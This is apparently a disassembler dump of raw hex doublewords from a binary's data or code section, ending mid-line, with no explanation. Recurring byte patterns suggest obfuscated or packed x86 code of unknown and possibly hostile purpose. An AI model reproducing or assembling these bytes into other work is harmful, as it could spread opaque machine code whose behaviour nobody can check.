895AC35Ah, 81042454h, 18042444h, 42000000h, 8142C352h dd 93733B6h, 0E71B3D8Dh, 10E905h, 0E67B0000h, 9C41238Ah dd 0B32535B9h, 7C74E5A2h, 0E1803AEEh, 697DBB04h, 0C90A066Dh dd 125840Fh, 0BB660000h, 858BBFFBh, 5E7072Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 97C35242h, 0DAC40C1Eh dd 8F5453AAh, 0EE9h, 0F4A97300h, 0E9459793h, 55079BBFh dd 33ED3690h, 0E72E8185h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 301B00AFh dd 0B350E1B9h, 240489FBh, 0DE9h, 98E8F500h, 7ACDCB57h dd 3D99905Eh, 6A9298h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 2CC35646h, 4C98509h, 6F6805E7h, 817C60E4h dd 0E7902434h, 860F7C7Fh, 0Bh, 5E8h, 0CE22BB00h, 0F5FE6B5h dd 0C81h, 6830F00h, 9000000h, 0E701918Dh, 0E595FF05h, 0F05E720h dd 58Dh, 14DEBF00h, 85897FD8h, 5EAA350h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 37C35242h, 2D0C3D25h dd 0A55A167h, 0B5E94BB7h, 0E8000001h, 7, 284ABAE0h, 0FE9E3BDh dd 8B5BDBB7h, 0EAA34885h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 46C9A95Eh dd 7FC2583Eh, 81662A85h, 0C71B62D7h, 1800h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h db 4, 15h word_584F4E dw 0 ; DATA XREF: ___:00436804o dd 0C3534300h, 0B58B2BC6h, 5EAA34Ch, 1B3D9D8Bh, 858B05E7h dd 5E70081h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0CCC35040h, 0AC5E5E00h, 0B1BB668Ah, 8906897Bh dd 0E704419Dh, 2D858B05h, 0F05E707h, 0A8Ah, 48B0F00h, 66000000h dd 89AAE8BFh, 9D8B0446h, 5E70179h, 6466BF96h, 0E8505917h dd 0Ah, 3D0CAD91h, 7CB7A0ADh, 52501C43h, 810Fh, 310F0000h dd 585A5F52h, 8589965Bh, 5E72BC9h, 22A99D31h, 0B5FF05E7h dd 5EAA348h, 558589h, 436805E7h, 0E8DE45C7h, 9, 431613B3h dd 2EC002BEh, 0A9BB60E8h, 617491B5h, 2404815Fh, 21D93CBCh dd 1DB58956h, 5B05E701h, 0A350858Dh, 6A05EAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4C6FDDC3h dd 0FFFBF0Fh, 138Ah, 0EE900h, 0D83D0000h, 12A469AAh, 5CD7E557h dd 0BA334BECh, 4EBB6650h, 2404896Eh, 0ED8D89h, 95FF05E7h dd 5E720E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 1EC35343h, 2A359C9Dh, 451BD01h, 8C0F05E7h, 0Ch dd 6870Fh, 95890000h, 5E730EDh, 6870F61h, 8B000000h, 0E71CF9BDh dd 9985C705h, 305E70Ch, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 3BD7C352h dd 0C9BD8B5Ah, 8305E72Ch, 0EAA350BDh, 840F0005h, 4Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7BC35242h, 0F015D6F7h dd 952914ACh, 5E70CA1h, 13E9h, 0E40FC800h, 6143EF03h, 9C88D670h dd 128E1136h, 397E6189h, 21E9h, 1DB58900h, 5005E705h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0FB8BC08Bh dd 68C0Fh, 95890000h, 5E71585h, 0C99BD83h, 0F0305E7h, 3B385h dd 0ADBD8B00h, 8305E723h, 0EAA350BDh, 840F0005h, 3A0h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CDC35747h dd 90026E52h, 29DC47DDh, 0E722B185h, 50B5FF05h, 8B05EAA3h dd 0E701FDBDh, 68D0F05h, 81000000h, 8F12E5EFh, 6995FF04h dd 8905E72Dh, 0E703B59Dh, 44B58B05h, 5005EAA3h, 55B7BF66h dd 0C19D895Fh, 0C705E70Eh, 1000106h, 219D8B00h, 5005E722h dd 3489FB8Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0CD23B671h, 0EE9D442h, 33000000h dd 8E637AF0h, 4685336Ch, 0C03821E2h, 50B5FFC4h, 0E905EAA3h dd 10h, 0B96020C2h, 0D32E0DB1h, 43D60DE9h, 291F79FEh, 247D95FFh dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 25B92CC3h, 36A8FB0Fh, 0A344B58Bh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0B8F400C3h, 3DBA858Fh, 3CD858Bh, 858905E7h, 5E70CF9h dd 0C48689h, 0E7810000h, 1BC4726Ah, 2315958Bh, 840F05E7h dd 10h, 0BE9h, 7E28A500h, 11633322h, 441FFEF1h, 8904C283h dd 0E732618Dh, 20508905h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0A5C35343h, 2261B529h, 858D05E7h, 5EAB732h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 82C35747h dd 86895072h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 25C35040h, 6AB28027h, 11E800h, 92880000h dd 0D49D6662h, 0E15EED33h, 0D794C217h, 8A28ADF5h, 0B5FF5BF8h dd 5EAA350h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 1AC35343h, 3C38EDBDh, 9E51DF6Bh, 853160D4h, 5E71385h dd 8B0F50h, 5B000000h, 4195FF61h, 0F05E700h, 383h, 0FA8B6600h dd 0CE850h, 37A60000h, 0F890F7E5h, 2DE7B292h, 0F98B37A0h dd 2434895Bh, 6840Fh, 85890000h, 5E72395h, 0FFFEBF0Fh dd 0EAA350B5h, 804ABB05h, 95FF37E5h, 5E72A09h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C2C35747h, 62675849h dd 95C7FEE9h, 4F9BD83h, 0F0005E7h, 3384h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0F651A705h, 0E742FEEAh, 0BDDBD0Bh, 895005E7h, 95892434h dd 5E713D1h, 0A350B5FFh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 4B6757C3h, 0FFFFBF0Fh dd 0E7071D95h, 0DF8B6605h, 0A350B5FFh, 9D8B05EAh, 5E732E9h dd 0CC595FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 66A266C3h, 8377EFBBh, 0E725CDBDh dd 840F0205h, 5Eh, 447BEBBFh, 51858B4Fh, 6A05E706h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 1107C352h, 4F9AD8CDh, 0B893273Eh, 359BD01h, 0C605E7h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0E4830A4h, 0F66D92D5h, 85C78ADEh, 5E70DFDh dd 0 dd 68C0Fh, 95890000h, 5E70489h, 0FFF43FE9h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 4BA77F94h, 964B61ACh, 8BDA8B99h, 0E7206DBDh, 6AC18B05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 5AE5C352h, 21EF7132h, 0FBB70F83h, 8DFB8B66h dd 0E71AF985h, 40ABF05h, 89502AD1h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A38BF4C3h dd 6A006AC6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 8E04C357h, 0E428FB8Fh, 0A86946BAh dd 16CD9D8Bh, 0AE905E7h, 9C000000h, 0AD0E8FDh, 38FEA05Eh dd 6A006AB7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 5C29C356h, 820F52FEh, 6, 26199509h dd 8D5F05E7h, 0EB757C85h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0B1803C9Fh dd 0BCEC1FD6h, 6E9D78Eh, 87000000h, 0AF260D39h, 5C083F7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 7EC35040h dd 0D822D51Eh, 145D9D33h, 0B39005E7h, 25BB501Fh, 903767B5h dd 32619589h, 6A05E7h, 10E9h, 12CB1600h, 41A6F984h, 0D2DB6409h dd 0E4CBF04Ah, 6A006A3Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0B2EC357h, 6830Fh dd 8D890000h, 5E71ADDh, 2C595FFh, 0DA8A05E7h, 95148D8Dh dd 0BE905EAh, 93000000h, 3016AE99h, 5E37996Ah, 8529DACBh dd 5E72E4Dh, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8529ECC3h, 5E722E1h, 0BD8324B7h dd 5E707F1h, 0A6850F01h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9BF0C352h dd 339E9636h, 81DD631Fh, 415DB4EFh, 0E8026A20h, 8, 4C62301Eh dd 871A7913h, 7E860h, 720000h, 8819F784h, 61F85B49h, 2356605Fh dd 0E7045195h, 820F5E05h, 6, 2BA5958Bh, 906105E7h, 2ABB5250h dd 0F1C9E9Eh, 90BB6631h, 50585A32h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0CD5DD1BAh dd 139AC44Ch, 4195FFh, 9D3305E7h, 5E712D1h, 0F8230DBBh dd 0CC2E978h, 0E80000h, 5D000000h, 7586ED81h, 870F05EBh dd 6, 0D45B529h, 0F5205E7h, 685h, 29852900h, 5F05E70Fh dd 27019D8Bh, 858D05E7h, 5EA8F5Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0D1C35242h, 0C974A0B4h, 8BA9443Bh dd 0E71641BDh, 0DE95005h, 0D1000000h, 2CCE7B83h, 92EBDB8Bh dd 120D6DD3h, 64240489h, 35FFh, 31570000h, 0E703B585h dd 89645F05h, 25h, 0FF98B00h, 85FFDAB7h, 5E71CE1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0DC35747h, 72BFB30h dd 898B8D25h, 0E7165195h, 8BFF6A05h, 0E70645BDh, 1DB5FF05h dd 0F05E728h, 68Dh, 0A99D8B00h, 0FF05E716h, 0E729C195h dd 0EAE905h, 0B00000h, 8B0Fh, 70E60000h, 0F71E4F9h, 384h dd 0D8B70F00h, 830F613Ch, 0CCh, 449BD8Bh, 0BF6605E7h, 0B60FE9E3h dd 0A5BD8BC8h, 0BA05E721h, 6, 0E81BD8Bh, 0C18B05E7h, 0C1DEB70Fh dd 0BD8B04E8h, 5E705F9h, 66E2F766h, 0C82BDA8Bh, 5A99D8Bh dd 0D18B05E7h, 0E992EB80h, 6, 21CDBD33h, 858B05E7h, 5E72235h dd 0BB97BB66h, 0F507C083h, 0E599D89h, 0C08305E7h, 68C0F00h dd 81000000h, 6542ABDBh, 0FD03B07h, 1C83h, 0A4EBB00h, 8B663098h dd 4AE9F8h, 0F600000h, 688h, 0F99D8B00h, 0F905E715h, 0E58D8B61h dd 8905E71Ah, 0E70B6985h, 1E18305h, 26840Fh, 0BD8B0000h dd 5E71C51h, 60D9D8Bh, 0A58305E7h, 5E71AE5h, 89D88AFEh dd 0E7223595h, 0D9BD8B05h, 0E905E706h, 0 dd 0E9F3B58Dh, 6A05EAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 11C35343h, 0F58619Bh, 928E9F4h, 0E715E585h dd 0D5CF8105h, 0FF101F31h, 0E71A1D95h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 800F3D10h, 15h, 10E9h, 8C750700h, 0DB027B37h, 8DE341C0h dd 0C2D86569h, 8A3B9FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0CD587FC3h, 0F7816699h dd 0E183FBAEh, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 3F14CC0Bh, 319E20Eh, 0E70A999Dh dd 0FADB305h, 88Eh, 8D896000h, 5E72F89h, 6AFC61h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 93EDC6C3h, 0DAA152BEh, 661BD4A5h, 0E821E781h, 0C02BFD8Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B8C35040h dd 6AD22B3Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E9E0C357h, 0Bh, 295F51CEh, 9E5CC9EFh dd 0AD94A8F9h, 0E8D1C233h, 0E983D003h, 89F47504h, 0E70BF595h dd 6AB3B305h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 80CFC355h, 880D64E7h, 66000000h dd 8B5A4EBFh, 0E70DBDBDh, 15958B05h, 0E805E723h, 13h, 6BE5E399h dd 0FE77466h, 8B746AADh, 60251023h, 6636E314h, 8B5FDE8Bh dd 0E708B98Dh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0DBBF0FBDh, 83E38166h dd 0D19D8B45h, 5005E720h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 959D8B58h, 6A05E703h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0BE4CC355h dd 39203155h, 4BF7FC0h, 666FF2BEh, 0BD83DA8Bh, 5E7211Dh dd 87840F00h, 89000000h, 0E7330DB5h, 0B805h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 7DF387C3h, 89C54E93h, 0E70761B5h, 0BD8B5605h, 5E719F9h dd 0FA8D8D5Bh, 6A05E74Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 5CEFC352h, 891DAAC4h dd 0E7212995h, 0FE1FF05h, 1981h, 13860F00h, 0E8000000h dd 0Dh, 0EC7BC9B4h, 375C3058h, 0A186EDCBh, 0BD835B46h dd 5E70C99h, 0F6840F00h, 0E9000003h, 14h, 53F698D1h, 7C4C45E0h dd 77032C06h, 0B8519181h, 7A099FC2h, 0C99BD83h, 0F0105E7h dd 3EB84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 66551C16h, 8B66F88Bh, 99BD83FEh dd 305E70Ch, 384860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0DA82D2C3h, 0F8F3D338h dd 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 6A4F86E3h, 33A2E91Eh, 5FF957E3h, 66D98C66h dd 0E180F88Bh, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0FEF0D7E9h, 38716508h dd 0FC90AF5h, 0FB84h, 0D8BF0F00h, 72D858Bh, 6A05E7h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 5C8487C3h, 5BBD10CBh, 85334524h, 5E72E81h, 0FAB70F60h dd 61D68B66h, 4D71BF90h, 66502317h, 9097EDBBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EC35141h, 85891ADFh dd 5E71721h, 6A89B7h, 51DB509h, 0E6805E7h, 817AEF32h, 31F12434h dd 6A7AF0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0F4F370C3h, 9E9C9EDh, 0AC000000h, 49B13DC8h dd 0F2B45B6Dh, 20E595FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 5FA191C3h, 0F85FF539h dd 0A3508589h, 9D8B05EAh, 5E72B45h, 68F0Fh, 9D8B0000h dd 5E71731h, 1AEE9h, 43F38000h, 0DADCBF66h, 0A348858Bh dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0C73CC3h, 18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 3FC35646h, 0B997D716h, 0BC5C72Eh dd 54D8D29h, 13E805E7h, 0B7000000h, 850C151Ah, 84B30759h dd 0F38A16F8h, 231D4676h, 9D8BA8C2h, 5E70C01h, 0FB8B665Bh dd 0A34CB58Bh, 860F05EAh, 6, 2F99D29h, 858B05E7h, 5E70081h dd 761BD8Bh, 68905E7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 86C35747h, 6F8938D0h, 8BF5E978h, 0E7072D85h dd 55852905h, 8905E727h, 0B5890446h, 5E70861h, 0FDF5BF50h dd 34891CDDh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0E5B6DB48h, 0FFF96BC0h, 0EAA348B5h dd 559D8B05h, 6805E723h, 0A776AC18h, 0E7240481h, 8B58A857h dd 50858DF9h, 2905EAA3h, 0E7008D95h, 859D8B05h, 9005E715h dd 0EE8h, 0D90D200h, 98E5FE17h, 0A6DDA9AAh, 508D73EDh dd 0F5BB6652h, 0BF310F87h, 282FF246h, 505F585Ah, 0B107BB66h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 2A6C97B4h, 0BA3CD946h, 9E86Eh, 0C31C0000h dd 3629E42Dh, 297D74C4h, 0E705E9B5h, 81665F05h, 0FFDC5AC7h dd 0E720E595h, 619D2905h, 0E805E72Dh, 8, 1E2C1391h, 0F4D1F33Bh dd 615F07B7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 44C35343h, 13E9h, 0BDB64300h, 60767591h, 123F88BFh dd 5A61CD90h, 0C0CC6B6h, 0C9985C7h, 305E7h, 0BD010000h dd 5E713E1h, 0A350BD83h, 0F0005EAh, 1184h, 8B0F00h, 0E9000000h dd 21h, 2A5D8D89h, 305005E7h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 198D89C0h, 8B05E71Bh, 99BD83DAh dd 305E70Ch, 3AC850Fh, 0BF660000h, 0BD833D93h, 5EAA350h dd 9B840F00h, 0F000003h, 0B5FFDEB7h, 5EAA350h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 93C35040h, 0F927B4CEh dd 0A9FD0FB7h, 0F9B70FEEh, 2D6995FFh, 6A05E7h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0D86AB9C3h, 534C2201h, 0EE916h, 0FE890000h, 0CD317867h dd 8C5C7778h, 0CE23C96Ch, 0A344B58Bh, 6C705EAh, 10001h dd 2455BD8Bh, 895005E7h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0F3E4BFC3h, 9C5F1EA8h dd 8B5050F9h, 0FF5B5BDAh, 0EAA350B5h, 311DB305h, 0E7019D8Dh dd 7D95FF05h, 6A05E724h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0EB78C350h, 2CB32FD9h dd 68A0Fh, 0BD290000h, 5E7257Dh, 0A344B58Bh, 8E0F05EAh dd 6, 0C29BD8Bh, 858B05E7h, 5E703CDh, 8D4BBB66h, 0C48689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 9E862C3h, 7F000000h, 0F0EAE857h, 53385A2Bh dd 2341BD8Bh, 8B5B05E7h, 0E7231595h, 0C283F905h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 35E90BA1h, 1D61C655h, 0B5899724h, 5E70F1Dh, 6A205089h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0EEACC350h, 8C46B76Ah, 8BD88A5Eh, 0E709419Dh dd 32858D05h, 2B05EAB7h, 0E70F01BDh, 0E1B58905h, 8905E720h dd 0B886h, 6A006A00h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0ACD6C356h, 0D1A18BC2h, 89F0EF1Ah dd 0E70BB5BDh, 41B58905h, 0FF05E722h, 0EAA350B5h, 8B666005h dd 61FA8BC7h, 4195FFh, 8B6605E7h, 0F98B50DEh, 66243489h dd 0FF546ABFh, 0EAA350B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 28B3EB1Ah dd 53CEF88Ch, 0AE8h, 1E72600h, 557A8A57h, 66CE8E95h, 5B02D0BBh dd 0FFDFBF0Fh, 0E72A0995h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0FD111786h dd 0A43F4A8Bh, 0F9BD83F8h, 5E704h, 25840Fh, 95890000h dd 5E7151Dh, 1C119D8Bh, 509605E7h, 96DF8B66h, 78B0Fh, 0BF560000h dd 4D66277Bh, 0C9BD015Bh, 0FF05E730h, 0EAA350B5h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0CE9B1h, 0DF200000h, 6AC1AFCh, 833F7FDCh, 0DA8BB089h dd 71D95FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0B5399FC3h, 0BD3660F7h, 595BD8Bh dd 0B5FF05E7h, 5EAA350h, 1CE5BD2Bh, 95FF05E7h, 5E70CC5h dd 25CDBD83h, 0F0205E7h, 6284h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 51858B2Bh dd 6A05E706h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0C621C356h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 7244AEC3h dd 0C7435BD2h, 0E70DFD85h, 5, 0F7816600h, 32E91FDDh, 0E8FFFFF4h dd 0Eh, 0BD924586h, 7BED3E55h, 91F47700h, 0E781C76Eh, 55760664h dd 6AC18B5Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 9EC9C351h, 1AF9858Dh, 8B6605E7h dd 5B5650DFh, 89240489h, 0E7211195h, 6A006A05h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 10A3C350h, 41DD92A5h, 6E93116h, 40000000h, 0A7ADBA15h dd 10E949h, 0A0DD0000h, 52A9E947h, 0A05B7932h, 79DF8355h dd 6AF40Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 80C35141h, 5B5961AAh, 3C88BFC0h, 858D7184h, 5EB8454h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 19C35242h dd 5C083B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0A0C35040h, 0DFCE2C63h, 3046F3DAh, 899D89BAh, 0FC05E72Dh dd 4D63BF50h, 4890670h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0DD06DF2Ah, 6AFA8B66h dd 55C78000h, 0FFF8006Ah, 0E702C595h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 66644E70h, 3A0F7EBFh, 95148D8Dh, 9D8905EAh, 5E7014Dh dd 2D1698BFh, 0E8D1FF77h, 7, 0A3F7BEDEh, 314A8C12h, 0E71B9D95h dd 0BD835B05h, 5E707F1h, 0AE850F01h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8099C356h, 26A52F3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0BAC35646h, 4B1A752Dh, 906310F1h, 0FF33BB66h dd 0CE950h, 0DF9B0000h, 64FD0041h, 6D2CD84Fh, 6A909FE0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0A172C351h, 349469FAh, 8BDBB70Fh, 0E70339BDh dd 4195FF05h, 6A05E700h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 894CC352h, 0E7314585h dd 0DEAE905h, 0E80000h, 5D000000h, 845EED81h, 0BB6605EBh dd 6A9CFCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 902B56C3h, 48D0B60Ch, 858DA02Eh, 5EA8F5Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BC35747h dd 0A51A6700h, 2BFD614h, 90155A76h, 12E85250h, 0DB000000h dd 43C82265h, 280B7AC8h, 0FB2EA594h, 36FD0AB9h, 5F5F5070h dd 6060310Fh, 8E961h, 5C950000h, 78CE5AAh, 5A61D0CCh, 0EE85058h dd 37000000h, 8A4AAC1Eh, 8C6AAFFh, 6B1D7E5Dh, 9E8FEh, 0E6BC0000h dd 0AB6F6F5h, 5B519E44h, 6A905Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0C2DDEDC3h, 3DAA6492h dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 669CC352h, 0E409C1E7h dd 64C44795h, 2589h, 6E80000h, 24000000h, 0E6B70A9Bh, 0FE9CEh dd 0B78F0000h, 0D5D91D5h, 32AF7B82h, 0B7F7E2F4h, 85FF5B4Dh dd 5E71CE1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 3AC35545h, 0B589A6ACh, 5E70CEDh, 0BC1BD89h, 0FF6A05E7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 82C35646h dd 7DDCCC53h, 0FF4D4B96h, 0E72B19B5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 3EA3C3AAh, 319D8B13h, 0FF05E728h, 0E729C195h, 14CE905h dd 85090000h, 5E7051Dh, 5859D8Bh, 0B005E7h, 94EDB81h, 70E65167h dd 0C1B3BF66h, 0D98B71E4h, 830F613Ch, 126h, 13E9h, 2E251E00h dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 0E8C8B60Fh dd 0Ah, 9A5C2534h, 60BDBF3Bh, 5FFC5A7Ch, 6BAh, 8B515700h dd 0E7314DBDh, 8B5F5F05h, 0E19D8BC1h, 0C105E702h, 0B58904E8h dd 5E715E5h, 0B3E2F766h, 0FC82B2Bh, 184h, 9509F500h, 5E700C5h dd 9D33D18Bh, 5E708E5h, 12E9h, 0DE900h, 15360000h, 0C546EE50h dd 5151E804h, 8BFFDDF8h, 0E700BD85h, 11E905h, 16FA0000h dd 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 0E92FD59Dh, 11h, 0E7562602h dd 0D24C13B1h, 7D62B365h, 544826CCh, 7C08322h, 2D2D9529h dd 0C08305E7h, 0D03BF800h, 24830Fh, 81660000h, 0E966EEDBh dd 10h, 0F1483958h, 87037CF7h, 0FFE8327Bh, 43D59978h, 41E9h dd 6A10BF00h, 8D8B4547h, 5E726B5h, 1ABD9D8Bh, 852905E7h dd 5E72091h, 0F01E183h, 2184h, 0BAD38000h, 26B5A583h, 0FFE05E7h dd 80h dd 0BD958900h, 8905E700h, 0E7055DB5h, 0E905h, 0B58D0000h dd 5EAF4C8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0ACC35242h, 0FE9ADh, 0FB330000h, 7E7C64CCh, 0D5C7BE2Eh dd 0A560DCE1h, 0BB006A22h, 776FC1B1h, 1A1D95FFh, 858905E7h dd 5E7128Dh, 8E8h, 0C4523300h, 0A04096D0h, 0F5BD8B80h dd 5B05E731h, 83FB9h, 85BB6600h, 0FCE183DFh, 0FCD98B66h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 51C35141h dd 941F4E0Dh, 9E98F52h, 54000000h, 4D144A5Eh, 0C998CAECh dd 38D0Fh, 0EF800000h, 0D9BF0F60h, 0B8h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 14CF82Ah, 2BE82B4Eh, 0D4DF81D2h, 0F3ECAACh, 1B86h, 0FE800h dd 